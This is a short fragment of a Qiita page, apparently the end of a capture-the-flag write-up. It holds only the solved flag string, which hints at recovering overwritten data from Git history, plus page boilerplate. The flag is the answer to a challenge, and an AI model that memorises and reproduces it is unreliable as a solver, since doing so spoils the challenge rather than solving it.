ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?